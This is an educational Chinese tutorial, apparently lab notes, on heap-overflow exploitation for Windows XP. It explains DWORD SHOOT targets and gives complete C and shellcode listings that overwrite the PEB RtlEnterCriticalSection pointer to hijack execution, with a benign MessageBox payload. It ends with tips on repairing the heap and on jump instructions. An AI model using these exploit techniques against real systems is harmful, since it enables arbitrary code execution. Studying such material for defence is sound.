堆溢出利用(下)—— 代码植入

1 DWORD SHOOT的利用方法

堆溢出更加精确,往往直接狙击重要目标。精准是DWORD SHOOT的优点,但是“火力不足”有时也会限制堆溢出的利用,这样就需要选择最重要的目标来“狙击”。

本节将介绍内存中常用的“狙击目标”,然后以修改PEB(进程环境块)中的同步函数指针为例,给出完整利用堆溢出执行shellcode的例子。

DWORD SHOOT的常用目标(Windows XP SP1之前的平台)大概可概括为以下几类:

  • 内存变量:修改能够影响程序执行的重要标志变量,往往可以改变程序流程。如:更改身份验证函数的返回值就可以通过认证机构。
  • 代码逻辑:修改代码段重要函数的关键逻辑有时候可以达到一定攻击效果。如:程序分支处的判断逻辑,或者把身份验证函数的调用指令覆盖为0x90(nop)。这种方法虽然类似于软件破解技术中的“爆破”——通过更改一个字节而改变整个程序的流程。
  • 函数返回地址:栈溢出通过修改函数返回地址能够劫持进程,堆溢出也一样能够利用DWORD SHOOT更改函数返回地址。但是由于栈帧移位的原因,函数返回地址往往是不固定的,甚至在同一操作系统和补丁版本下连续运行两次栈状态都会有不同,故DWORD SHOOT在这种情况下有局限,靶子不好瞄准。
  • 攻击异常处理机制:当程序产生异常时,Windows会转入异常处理机制。堆溢出很容易引起异常,因此异常处理机制所使用重要数据结构往往会成为DWORD SHOOT的上等目标,这包括S.E.H(structure exception handler)、F.V.E.H(First Vectored Exception Handler)、进程环境块(P.E.B)中的U.E.F(Unhandled Exception Filter)、线程环境块(T.E.B)中存放的第一个S.E.H指针(T.E.H)。
  • 函数指针:系统优势会使用函数指针呢。比如动态链接库中的函数、C++中的虚函数调用等。改写这些函数指针后,在函数调用发生后往往可以成功地劫持进程。
  • P.E.B中线程同步函数的入口地址:PEB存放着一对同步函数指针,指向RtlEnterCriticalSection()和RtlLeaveCriticalSection(),并且进程退出时会被ExitProcess()调用。如果能够通过DWORD SHOOT修改这对指针中的一个,那么就能在程序退出时ExitProcess()将会被骗去调用我们的shellcode。由于PEB的位置始终不会变化,这对指针在PEB中的偏移也始终不变,这使得利用堆溢出开发适用于不同操作系统版本和补丁版本的exploit成为可能。这是Windows平台下堆溢出利用的最经典方法之一。

2 狙击PEB中的RtlEnterCriticalSection()的函数指针

windows为了同步进程下的多个线程,使用了同步措施,如锁措施(lock)、信号量(semaphore)、临界区(critical section)等。
当进程退出时,ExitProcess()函数要用到临界区函数RtlEnterCriticalSection和RtlLeaveCriticalSection()来同步线程防止脏数据的产生。

通过进程环境块PEB偏移0x20处存放函数指针来间接完成调用临界区函数。具体就是0x7FFDF020处存放指向RtlEnterCriticalSection()的指针,在0x7FFDF024处存指向RtlLeaveCriticalSection()的指针。

从Windows 2003 Server开始修改这部分的实现。

2.1 实验代码如下

#include <windows.h>

char shellcode[] = "\x90\x90\x90\x90\x90\x90\x90\x90...";

main()
{
    HLOCAL h1=0, h2=0;
    HANDLE hp;
    hp = HeapCreate(0, 0x1000, 0x10000);
    h1 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 200);
    __asm int 3        //used to break process
    memcpy(h1, shellcode, 0x200);    //overflow, 0x200=512
    h2 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 8);
    return 0;
}

2.2 实验步骤

  1. h1向堆中申请200字节的空间
  2. memcpy的上限错误地写成了0x200,这实际上是512字节,会产生溢出
  3. h1分配完之后,后面紧跟一个大空闲块(尾块)
  4. 超过200字节的数据将覆盖尾块块首
  5. 用伪造的指针覆盖尾块块首中的 空表指针,当h2分配时,将导致DWORD_SHOOT
  6. DWORD SHOOT的目标是0x7FFDF020处的RtlEnterCriticalSection()函数指针,可以简单地将其修改为shellcode位置
  7. DWORD_SHOOT完毕后,堆溢出导致异常,最终导致调用ExitProcess()结束进程
  8. ExitProcess()在结束进程时需要调用临界区函数来同步线程,但却从PEB中拿出了指针指向shellcode的指针,因此shellcode被执行

2.3 实验细节

当实验中shellcode为200字节0x90,执行到0x00401085,也就是memcpy函数结束,堆中状态如下图所示(不知道是什么原因,无论shellcode多大,最后使用memcpy(h1, shellcode, 0x200)之后,都会使尾块不见!!!尾块一般的flag标志位0x10):
200字节时的堆区

当然这并不重要,重要的是这里面仍然有堆溢出。
缓冲区的布置如下:
(1) 将那段168字节的shellcode用0x90补充为200字节。
(2) 紧随其后,附上8字节的块首信息。为了防止在DWORD SHOOT发生之前产生异常,不放直接将块首从内存中复制使用"\x16\x01\x1A\x00\x00\x10\x00\x00"
(3) 前向指针是DWORD SHOOT的子弹,这里直接使用shellcode的起始地址0x00360688.
(4) 后向指针是DWORD SHOOT的“目标”,这里填入PEB的函数指针地址0x7FFDF020.

如果缓冲区内容如下:


char shellcode[] =
    "\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\90\x90\x90\x90\x90\x90\x90\x90\x90"

    // MessageBoxA with tile "failwest" and context "failwest"
    "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
    "\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
    "\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
    "\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
    "\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
    "\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
    "\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
    "\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
    "\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
    "\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
    "\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"

    "\x16\x01\x1A\x00\x00\x10\x00\x00"    // head of the ajacent free block
    "\x88\x06\x36\x00\x20\xf0\xfd\x7f";    // 0x00360688 is the address of shellcode in first heap block
                                        // you have to make sure this address via debug
                                        // 0x7ffdf020 is the position in the PEB which hold a pointer to
                                        // RtlEnterCriticalSection() and will called by ExitProcess() at last

那个消息框不会显示,原因是被修改的P.E.B里的函数指针不光会被ExitProcess()调用,shellcode中的函数也会使用。当shellcode的函数使用临界区时,会像ExitProcess()一样被骗。

为此,需要对shellcode进行修改,在一开始就将DWORD SHOOT的指针修复回去,以防出错。重新调试,发现0x7FFDF020处的函数指针是0x77F82060.

P.E.B中RtlEnterCriticalSection()函数指针位置0x7ffdf020不会变,但是所指向的地址会变。劫持进程之后,一定要修复回劫持之前的值,否则会出现各种问题!


#include <windows.h>

char shellcode[] =
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

    // repaire the pointer which shooted by heap over run
    "\xB8\x20\xF0\xFD\x7F"        // MOV EAX, 7FFDF020
    "\xBB\x60\x20\xF8\x77"        // MOV EBX, 0x77F86020 the address
                                // may releated to your OS
    "\x89\x18"                    // MOV DWORD PTR DS:[EAX], EBX

    // MessageBoxA with tile "failwest" and context "failwest"
    "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
    "\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
    "\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
    "\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
    "\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
    "\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
    "\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
    "\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
    "\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
    "\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
    "\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"

    "\x16\x01\x1A\x00\x00\x10\x00\x00"    // head of the ajacent free block
    "\x88\x06\x36\x00\x20\xf0\xfd\x7f";    // 0x00360688 is the address of shellcode in first heap block
                                        // you have to make sure this address via debug
                                        // 0x7ffdf020 is the position in the PEB which hold a pointer to
                                        // RtlEnterCriticalSection() and will called by ExitProcess() at last


int main()
{
    HLOCAL h1=0, h2=0;
    HANDLE hp;
    hp = HeapCreate(0, 0x1000, 0x10000);
    h1 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 200);
    //__asm int 3        //used to break process
    memcpy(h1, shellcode, 0x200);    //overflow, 0x200=512
    h2 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 8);
    return 0;
}

3 堆溢出利用的注意事项

3.1 调试堆与常态堆的区别

使用常态堆的方法:

  1. 插入int 3中断指令(仅限于你能修改源码)
  2. 直接修改用于检测调试器的函数的返回值

3.2 在shellcode中修复环境

本实验中就遇到了这种问题,在劫持进程后需要立刻修复P.E.B中的函数指针,否则会引起很多其他异常。

shellcode中的第一条指令CDF也是用来修复环境的,如果去掉,会发现shellcode自身发生内存读写异常。这是因为ExitProcess()调用时,这种特殊的上下文会把通常状态为0的DF标志 位修改为1.这会导致shellcode中的LODS DWORD PTR DS:[ESI]指令在向EAX装入第一个hash后将ESI减4,而不是通常的加4,从而在下一个函数名hash读取时发生错误。

比较简单的修复步骤:

  1. 在堆区偏移0x28的地方存放着堆区所有空闲块的总和TotalFreeSize
  2. 把一个较大块(或干脆直接找个暂时不用的区域伪造一个块首)块首中标识自身大小的两个字节(self size)修改成堆区空闲块总容量大小(TotalFreeSize)
  3. 把该块的flag位设置为0x10(last entry尾块)
  4. 把freelist[0]的前向指针和后向指针指向这个堆块

3.3 定位shellcode的跳板

经常会有寄存器指向堆区离shellcode不远的地方,使用几种指令作为跳板定位shellcode。这些指令一般位于netapi32.dll、user32.dll、rpcrt4.dll中找到


CALL DWORD PTR [EDI+0X78]
CALL DWORD PTR [ESI+0X4C]
CALL DWORD PTR [EBP+0X74]